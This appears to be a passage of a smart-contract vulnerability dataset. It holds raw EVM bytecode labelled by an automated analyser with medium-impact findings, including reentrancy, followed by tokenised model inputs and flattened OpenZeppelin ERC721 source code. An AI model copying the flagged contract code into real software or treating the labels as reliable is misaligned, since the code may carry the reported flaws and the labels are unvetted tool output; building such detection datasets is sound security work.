4060020a031660208301528051600160a060020a0388169450339350600080516020612b3e8339815191529281900390910190a3611c7e565b83600314156118fd578061ffff16612711148061175a57508061ffff16612713145b151561176557600080fd5b60075460d2608060020a9091046001604060020a0316111561178657600080fd5b600480546040805160e060020a6318ad052b02815292830188905230602484015251600160a060020a03909116916318ad052b91604480830192600092919082900301818387803b1580156117da57600080fd5b505af11580156117ee573d6000803e3d6000fd5b5050600780546001604060020a03608060020a80830482166001018216810277ffffffffffffffff000000000000000000000000000000001990931692909217928390556005546040805160e260020a632ba84e11028152600019949095048316939093019091166004840152600160a060020a03888116602485015291519116935063aea138449250604480830192600092919082900301818387803b15801561189857600080fd5b505af11580156118ac573d6000803e3d6000fd5b50506007546040805160038152608060020a9092046001604060020a031660208301528051600160a060020a0388169450339350600080516020612b3e8339815191529281900390910190a3611c7e565b8360071415611ad2578061ffff16612712148061191f57508061ffff16612714145b8061192f57508061ffff16612715145b151561193a57600080fd5b6007546101c260c060020a9091046001604060020a0316111561195c57600080fd5b600480546040805160e060020a6318ad052b02815292830188905230602484015251600160a060020a03909116916318ad052b91604480830192600092919082900301818387803b1580156119b057600080fd5b505af11580156119c4573d6000803e3d6000fd5b5050600780546001604060020a0360c060020a80830482166001018216810277ffffffffffffffffffffffffffffffffffffffffffffffff90931692909217928390556005546040805160e260020a632ba84e11028152600019949095048316939093019091166004840152600160a060020a03888116602485015291519116935063aea138449250604480830192600092919082900301818387803b158015611a6d57600080fd5b505af1158015611a81573d6000803e3d6000fd5b5050600780546040805192835260c060020a9091046001604060020a031660208301528051600160a060020a0388169450339350600080516020612b3e8339815191529281900390910190a3611c7e565b8360081415611c79578061ffff166127121480611af457508061ffff16612714145b80611b0457508061ffff16612715145b1515611b0f57600080fd5b6008546101fe6001604060020a039091161115611b2b57600080fd5b600480546040805160e060020a6318ad052b02815292830188905230602484015251600160a060020a03909116916318ad052b91604480830192600092919082900301818387803b158015611b7f57600080fd5b505af1158015611b93573d6000803e3d6000fd5b50506008805467ffffffffffffffff19811660016001604060020a0392831601821617918290556005546040805160e260020a632ba84e11028152938316600019019092166004840152600160a060020a03888116602485015291519116935063aea138449250604480830192600092919082900301818387803b158015611c1a57600080fd5b505af1158015611c2e573d6000803e3d6000fd5b505060088054604080519283526001604060020a0390911660208301528051600160a060020a0388169450339350600080516020612b3e8339815191529281900390910190a3611c7e565b600080fd5b5050505050565b600754604060020a90046001604060020a031681565b6000546101009004600160a060020a03163314611cb757600080fd5b600160a060020a0381161515611ccc57600080fd5b6005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60065460a060020a90046001604060020a031681565b6000546101009004600160a060020a03163314611d2d57600080fd5b6008546001604060020a9091046001604060020a031610801590611d655750600854601f604060020a9091046001604060020a031611155b1515611d7057600080fd5b600880546001604060020a03909216604060020a026fffffffffffffffff000000000000000019909216919091179055565b6007546001604060020a031681565b6002546000908190600160a060020a0316331480611dde57506000546101009004600160a060020a031633145b1515611de957600080fd5b60008311611df657600080fd5b600160a060020a03841615611e0b5783611e18565b600254600160a060020a03165b915050303180831015611e6157604051600160a060020a0383169084156108fc029085906000818181858888f19350505050158015611e5b573d6000803e3d6000fd5b50611e97565b604051600160a060020a03831690303180156108fc02916000818181858888f19350505050158015611c7e573d6000803e3d6000fd5b50505050565b600160a060020a0382161515611eb257600080fd5b8260021415611ff5576007546082604060020a9091046001604060020a03161115611edc57600080fd5b670dbd2fc137a300008414611ef057600080fd5b600780546001604060020a03604060020a8083048216600101821681026fffffffffffffffff00000000000000001990931692909217928390556005546040805160e260020a632ba84e11028152600019949095048316939093019091166004840152600160a060020a038581166024850152915191169163aea1384491604480830192600092919082900301818387803b158015611f8e57600080fd5b505af1158015611fa2573d6000803e3d6000fd5b50506007546040805160028152604060020a9092046001604060020a031660208301528051600160a060020a03878116955086169350600080516020612b3e8339815191529281900390910190a3611e97565b82600314156121405760075460d2608060020a9091046001604060020a0316111561201f57600080fd5b670dbd2fc137a30000841461203357600080fd5b600780546001604060020a03608060020a80830482166001018216810277ffffffffffffffff000000000000000000000000000000001990931692909217928390556005546040805160e260020a632ba84e11028152600019949095048316939093019091166004840152600160a060020a038581166024850152915191169163aea1384491604480830192600092919082900301818387803b1580156120d957600080fd5b505af11580156120ed573d6000803e3d6000fd5b50506007546040805160038152608060020a9092046001604060020a031660208301528051600160a060020a03878116955086169350600080516020612b3e8339815191529281900390910190a3611e97565b826007141561228b576007546101c260c060020a9091046001604060020a0316111561216b57600080fd5b6714ad8b1b0b550000841461217f57600080fd5b600780546001604060020a0360c060020a80830482166001018216810277ffffffffffffffffffffffffffffffffffffffffffffffff90931692909217928390556005546040805160e260020a632ba84e11028152600019949095048316939093019091166004840152600160a060020a038581166024850152915191169163aea1384491604480830192600092919082900301818387803b15801561222457600080fd5b505af1158015612238573d6000803e3d6000fd5b5050600780546040805192835260c060020a9091046001604060020a031660208301528051600160a060020a03878116955086169350600080516020612b3e8339815191529281900390910190a3611e97565b8260081415611c79576008546101fe6001604060020a0390911611156122b057600080fd5b6714ad8b1b0b55000084146122c457600080fd5b6008805467ffffffffffffffff19811660016001604060020a0392831601821617918290556005546040805160e260020a632ba84e11028152938316600019019092166004840152600160a060020a038581166024850152915191169163aea1384491604480830192600092919082900301818387803b15801561234757600080fd5b505af115801561235b573d6000803e3d6000fd5b505060088054604080519283526001604060020a0390911660208301528051600160a060020a03808816955086169350600080516020612b3e8339815191529281900390910190a3611e97565b600160a060020a03821615156123bd57600080fd5b600183146123ca57600080fd5b600854601e604060020a9091046001604060020a03161115612436576040805160e560020a62461bcd02815260206004820152601860248201527f54686973204d616e6167657220697320736f6c64206f75740000000000000000604482015290519081900360640190fd5b60085460c060020a90046001604060020a031642116124685767081e5666899a8000841461246357600080fd5b61247c565b670c7d713b49da0000841461247c57600080fd5b600880546001604060020a03604060020a8083048216600101821681026fffffffffffffffff00000000000000001990931692909217928390556006546040805160e260020a632ba84e11028152600019949095048316939093019091166004840152600160a060020a038581166024850152915191169163aea1384491604480830192600092919082900301818387803b15801561251a57600080fd5b505af115801561252e573d6000803e3d6000fd5b50506008546040805160018152604060020a9092046001604060020a031660208301528051600160a060020a038781169550861693507fde245e2a14034e8435d379c94abc8712094f2db8c798a24ae326c370c0ac201d9281900390910190a350505050565b6000806000601484015192508360148151811015156125af57fe5b90602001015160f860020a900460f860020a0260f860020a900491508360168151811015156125da57fe5b90602001015160f860020a900460f860020a0260f860020a900484601581518110151561260357fe5b90602001015160f860020a900460f860020a0260f860020a9004610100020190509193909250565b600160a060020a038216151561264057600080fd5b826001141561280c57600654603260a060020a9091046001604060020a031611156126b5576040805160e560020a62461bcd02815260206004820152601860248201527f54686973204d616e6167657220697320736f6c64206f75740000000000000000604482015290519081900360640190fd5b60085460c060020a90046001604060020a031642116126e7576708e1bc9bf040000084146126e257600080fd5b6126fb565b670dbd2fc137a3000084146126fb57600080fd5b600680546001604060020a0360a060020a8083048216600101821681027bffffffffffffffff00000000000000000000000000000000000000001990931692909217928390556005546040805160e260020a632ba84e11028152600019949095048316939093019091166004840152600160a060020a038581166024850152915191169163aea1384491604480830192600092919082900301818387803b1580156127a557600080fd5b505af11580156127b9573d6000803e3d6000fd5b5050600654604080516001815260a060020a9092046001604060020a031660208301528051600160a060020a03878116955086169350600080516020612b3e8339815191529281900390910190a3611e97565b8260061415611c79576007546101866001604060020a03909116111561287c576040805160e560020a62461bcd02815260206004820152601860248201527f54686973204d616e6167657220697320736f6c64206f75740000000000000000604482015290519081900360640190fd5b60085460c060020a90046001604060020a031642116128ae57670d7621dc5821000084146128a957600080fd5b6128c2565b6714ad8b1b0b55000084146128c257600080fd5b6007805467ffffffffffffffff19811660016001604060020a0392831601821617918290556005546040805160e260020a632ba84e11028152938316600019019092166004840152600160a060020a038581166024850152915191169163aea1384491604480830192600092919082900301818387803b15801561294557600080fd5b505af1158015612959573d6000803e3d6000fd5b505060075460408051600681526001604060020a0390921660208301528051600160a060020a03808816955086169350600080516020612b3e8339815191529281900390910190a3611e97565b600160a060020a03821615156129bb57600080fd5b600283146129c857600080fd5b600854605a608060020a9091046001604060020a031611156129e957600080fd5b6706f05b59d3b2000084146129fd57600080fd5b600880546001604060020a03608060020a80830482166001018216810277ffffffffffffffff000000000000000000000000000000001990931692909217928390556006546040805160e260020a632ba84e11028152600019949095048316939093019091166004840152600160a060020a038581166024850152915191169163aea1384491604480830192600092919082900301818387803b158015612aa357600080fd5b505af1158015612ab7573d6000803e3d6000fd5b50506008546040805160028152608060020a9092046001604060020a031660208301528051600160a060020a038781169550861693507fde245e2a14034e8435d379c94abc8712094f2db8c798a24ae326c370c0ac201d9281900390910190a350505050565b61018060405190810160405280600c906020820280388339509192915050560031496f97faae197a4216af5e2016881c44d9c122cfbe828af9fbd51391a651cca165627a7a723058200b00fab05b3cdae9bb57052ecf270a40b6a418e71b5bf4057971f868f7bdc62d0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'constant-function-asm', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2620, 2620, 16068, 19797, 2581, 21619, 22610, 2278, 2509, 10354, 2692, 2475, 2050, 2581, 12740, 2050, 18827, 22025, 2094, 2575, 2546, 2620, 17465, 2683, 2063, 23352, 22022, 1013, 1008, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1008, 1013, 1013, 1008, 9385, 1006, 1039, 1007, 2760, 1996, 19204, 3723, 3597, 2239, 2622, 1012, 2035, 2916, 9235, 1012, 1013, 1008, 1013, 1008, 16770, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,304
0x96889c4766e3d548F6842A6b3bB0B69D1b707b8C
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no 